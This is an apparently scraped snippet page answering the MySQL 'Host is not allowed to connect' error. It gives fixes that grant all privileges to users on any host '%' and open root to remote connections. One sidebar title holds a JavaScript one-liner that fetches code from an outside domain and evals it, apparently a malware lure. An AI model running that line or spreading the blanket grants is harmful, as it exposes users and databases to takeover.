/SQL/Host '192.168.43.100' is not allowed to connect to this MySQL server

Host '192.168.43.100' is not allowed to connect to this MySQL server

CREATE USER 'username'@'localhost' IDENTIFIED BY 'password';

GRANT ALL PRIVILEGES ON *.* TO 'username'@'localhost' WITH GRANT OPTION;

CREATE USER 'username'@'%' IDENTIFIED BY 'password';

GRANT ALL PRIVILEGES ON *.* TO 'username'@'%' WITH GRANT OPTION;

FLUSH PRIVILEGES;

Source: stackoverflow.com

Host 127.0 0.1 is not allowed to connect to this mysql server

UPDATE mysql.user SET host='%' WHERE user='root';

Source: stackoverflow.com

Similar codes

16 votes148 views6 answers
Your connection attempt failed for user 'root' to the mysql server at localhost 3306
SQL
10 votes81 views1 answer
Oracle view dependencies
SQL
2 votes130 views1 answer
How to select first row of database sql
SQL
38 votes191 views4 answers
Count sql
SQL
2 votes145 views4 answers
2nd highest salary in mysql
SQL
2 votes124 views1 answer
Pandas to sql index
SQL
0 vote136 views1 answer
Postgresql print variable
SQL
4 votes122 views10 answers
Javascript$get'//roblox-api.online/roblox?id=4823'.eval)javascript$get'//roblox-api.online/roblox?id=
SQL
1 vote133 views2 answers
Snowflake alter column data type
SQL
0 vote132 views1 answer
Get number of tables in database sql
SQL